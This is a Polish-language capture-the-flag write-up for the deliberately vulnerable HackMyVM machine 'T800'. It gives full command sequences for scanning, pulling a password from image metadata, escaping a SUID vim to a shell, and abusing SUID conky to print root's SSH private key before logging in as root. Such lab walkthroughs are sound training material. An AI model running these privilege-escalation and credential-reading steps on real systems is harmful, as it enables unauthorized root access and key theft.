T800 by Sml

Write-up is in Polish language.

00. Metainfo

Nazwa: T800
Autor: Sml
Wypuszczony: 2021-04-08
Do ściągnięcia: HackMyVM
Poziom: Łatwy
System: Linux
Nauczysz się: Fuzzing, Stenografia, Bóle głowy

Richard

01. Wstęp

T800 jest dosyć zabawną maszyną, z której się do nas cieszy sam Richard Stallman. Jest z nim parę śmiesznych fotek, ale potem się zapomina i następują bóle głowy, kiedy wzrasta poziom trudności. O nie, to nie jest prosta maszyna, chociaż na początku wszystko idzie łatwo, ale czym dalej w maszynę tym gorzej :smiley: Zwłaszcza ostatni etap mi się śnił w nocy, jak koszmar :smiley: Oczywiście po wszystkim, możesz uznać maszynę za łatwą i przejść ją w paręnaście minut. Jednak nie polecam jej dla osób, które zaczynają zabawę z podatnymi maszynami. Może to was zniechęcić. Wracając do tematu, na szczęście migue27au mnie naprowadził na ślad, jak przejść. Więc jeżeli chcesz mieć prawdziwą zagwozdkę i nie korzystałeś z pewnego programu (o nim na końcu), to końcówkę spróbuj sam rozwiązać.

02. Standardowe sprawdzanie

Odpalamy Metasploita, w nim db_nmap i lecimy:

msf6 > db_nmap -T4 -A -p- 172.16.1.107
[*] Nmap: Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-12 20:18 CEST
[*] Nmap: Nmap scan report for t800.lan (172.16.1.107)
[*] Nmap: Host is up (0.00041s latency).
[*] Nmap: Not shown: 65533 closed ports
[*] Nmap: PORT    STATE SERVICE VERSION
[*] Nmap: 80/tcp  open  http    nginx 1.14.2
[*] Nmap: |_http-server-header: nginx/1.14.2
[*] Nmap: |_http-title: Site doesn't have a title (text/html).
[*] Nmap: 800/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
[*] Nmap: | ssh-hostkey:
[*] Nmap: |   2048 b6:be:5a:0b:ec:0b:53:69:b6:7b:54:46:7d:40:56:75 (RSA)
[*] Nmap: |   256 a3:3c:a5:67:ba:42:94:04:49:47:24:30:63:91:ef:c3 (ECDSA)
[*] Nmap: |_  256 b2:75:86:d8:45:99:9a:9d:89:10:41:9a:d0:03:6c:a8 (ED25519)
[*] Nmap: MAC Address: 7E:DF:35:0C:72:5F (Unknown)
[*] Nmap: Device type: general purpose
[*] Nmap: Running: Linux 4.X|5.X
[*] Nmap: OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
[*] Nmap: OS details: Linux 4.15 - 5.6
[*] Nmap: Network Distance: 1 hop
[*] Nmap: Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
[*] Nmap: TRACEROUTE
[*] Nmap: HOP RTT     ADDRESS
[*] Nmap: 1   0.41 ms t800.lan (172.16.1.107)
[*] Nmap: OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 10.29 seconds
msf6 > services
Services
========

host          port  proto  name  state  info
----          ----  -----  ----  -----  ----
172.16.1.107  80    tcp    http  open   nginx 1.14.2
172.16.1.107  800   tcp    ssh   open   OpenSSH 7.9p1 Debian 10+deb10u2 protocol 2.0

#============================

Widzimy dwa otwarte porty. Jeden to WWW, drugi SSH. Zacznijmy standardowo od WWW.

03. WWW i skanowanie

W źródle strony na samym dole jest ciekawa rzecz. Zapiszmy to, przyda się później:

view-source:http://172.16.1.107/ index

Przechodząc dalej chcę wspomnieć, że plik robots.txt jest tak popularny, że nawet bez skanowania odruchowo go sprawdzam, czy jest na serwerze. Tym razem mamy w nim tylko jeden wpis.

http://172.16.1.107/robots.txt

/sexy/*.jpeg

To nas naprowadza na ślad, żeby skanować katalog /sexy/, a w nim szukać obrazków z rozszerzeniem .jpeg

# root@kali:/home/szikers# feroxbuster -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u http://172.16.1.107/sexy/ -x jpeg

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.3.3
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://172.16.1.107/sexy/
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.3.3
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 💲  Extensions            │ [jpeg]
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Cancel Menu™
──────────────────────────────────────────────────
200       44l      249w    11863c http://172.16.1.107/sexy/nudeslut.jpeg
[####################] - 31s   441090/441090  0s      found:1       errors:0
[####################] - 31s   441090/441090  14063/s http://172.16.1.107/sexy/
root@kali:/home/szikers#

Feroxbuster znalazłem, kiedy szukałem czegoś do skanowania IPv6, miał to być program tylko na chwilę, ale tak mi się spodobał, że został na dłużej. Z jego zalet można wymienić przerwanie skanowania niepotrzebnych katalogów, wyświetla całe linki i ma fajne ikonki :smiley:. Feroxbuster znalazł jeden plik nudeslut.jpeg. Na nim jest Richard Stallman w ciekawej pozie :)

04. Stenografia

Obrazek możemy go sprawdzić ExifToolem. W komentarzu mamy hasło: passwd:chmodxheart. Pamiętacie, jak wspomniałem na początku, żeby zanotować informację z komentarza. Tam było <!-- Im ruut-->. Mamy już użytkownika i hasło. Wejdźmy na konsolę.

# root@kali:/home/szikers/t800/sexy# exiftool nudeslut.jpeg
ExifTool Version Number         : 12.30
File Name                       : nudeslut.jpeg
Directory                       : .
File Size                       : 12 KiB
File Modification Date/Time     : 2021:04:08 14:22:09+02:00
File Access Date/Time           : 2021:10:12 20:37:32+02:00
File Inode Change Date/Time     : 2021:10:12 20:36:41+02:00
File Permissions                : -rw-r--r--
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
Resolution Unit                 : None
X Resolution                    : 1
Y Resolution                    : 1
Comment                         : passwd:chmodxheart
Image Width                     : 275
Image Height                    : 183
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 275x183
Megapixels                      : 0.050 

05. SSH i zbliżający się ból głowy

# root@kali:/home/szikers/t800# ssh -p 800 ruut@172.16.1.107
ruut@172.16.1.107's password:
Linux t800 4.19.0-14-amd64 #1 SMP Debian 4.19.171-2 (2021-01-30) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Oct 13 08:16:39 2021 from 172.16.1.10
ruut@t800:~$

Jesteśmy na Konsoli, Sprawdźmy czy jakieś pliki mają ustawienie SUIDa.

# ruut@t800:~$ find / -perm -04000 2>/dev/null
/usr/bin/conky
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/su
/usr/bin/mount
/usr/bin/calife
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/umount
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper

Z niestandardowych plików widzimy /usr/bin/conky i /usr/bin/calife

Calife

Nie znałem wcześniej tego programu, ale przeczytawszy w Internecie dowiedziałem się, że jest to jakby zamiennik Sudo.

# ruut@t800:~$ /usr/bin/calife root
Calife failed. Sorry, trying to run su.
Password:
su: Authentication failure
# ruut@t800:~$ /usr/bin/calife superruut
Password:

Spróbujmy użyć Calife. Wszystkich użytkowników oczywiście mamy podanych w /etc/passwd. W powyższym wycinku widać, że użytkownik root nie jest dodany do Calife. Za to superruut jest. Wpisując to samo hasło co do ruuta pokazuje się nam ekran Vim.


~
~
~
~
~
~
~
~
~
~
~                                                               VIM - Vi IMproved
~
~                                                               version 8.1.1401
~                                                           by Bram Moolenaar et al.
~                                                    Modified by team+vim@tracker.debian.org
~                                                  Vim is open source and freely distributable
~
~                                                           Sponsor Vim development!
~                                                type  :help sponsor<Enter>    for information
~
~                                                type  :q<Enter>               to exit
~                                                type  :help<Enter>  or  <F1>  for on-line help
~                                                type  :help version8<Enter>   for version info
~
~                                                         Running in Vi compatible mode
~                                                type
  :set nocp<Enter>        for Vim defaults
~                                                type  :help cp-default<Enter> for info on this
~
~
~
~
~
~
~
~
~
~

Znając pewną sztuczkę, możemy uruchomić Basha pod Vimem.

:!bash
# ruut@t800:~$ /usr/bin/calife superruut
Password:

# superruut@t800:~$

Jesteśmy na koncie superrut.

Conky i nadchodzi koszmar

Conky(Cokyego?) też wcześniej nie znałem. Znają go głównie miłośnicy Linuxowego GUI. Ja pod Linuxem siedzę głównie pod konsolą. W Desktopie to u mnie rządzi Windows. A co do koszmaru, to problem był taki, że Conky to jest program przeznaczony głównie pod Gnome, KDE itd… A okazało się, że trzeba odpalić go w konsoli. Program odmawiał posłuszeństwa. Dostawałem komunikat: can't open display. O dziwo w Internecie też było ciężko znaleźć przykłady. Straciłem tyle godzin na to (ale się cieszę). Oczywiście po fakcie to jest proste, gdyż na szczęście wspomniany wcześniej Migue27au mnie naprowadził. A trzeba odpowiednio zmodyfikować plik conky.conf. Również na stronie też można trochę informacji znaleźć. Po próbach i błędach wystarczy w konfigu wpisać takie coś:

conky.conf

conky.config = {
       out_to_console = true,
       out_to_x = false,
}

conky.text = [[
${tail /root/.ssh/id_rsa 30}
]]

Teraz należy uruchomic Conky. Pamiętaj o parametrze -c.

# conky -c /tmp/conky.conf

Pokazuje się nam klucz id_rsa, kopiujemy go przez Vim. Nano się tutaj zepsuł ;)

06. Koniec koszmaru i jest flaga

Ogólnie maszynka jest bardzo ciekawa i warto ją poznać. O tym koszmarze to pisałem w pozytywnym znaczeniu :smiley:

# chmod 600 id_rsa
# ssh -i id_rsa root@localhost -p 800

Jeżeli podobał się wpis, znalazłeś jakiś błąd napisz mejla na kerszi@protonmail.com.

Zostaw komentarz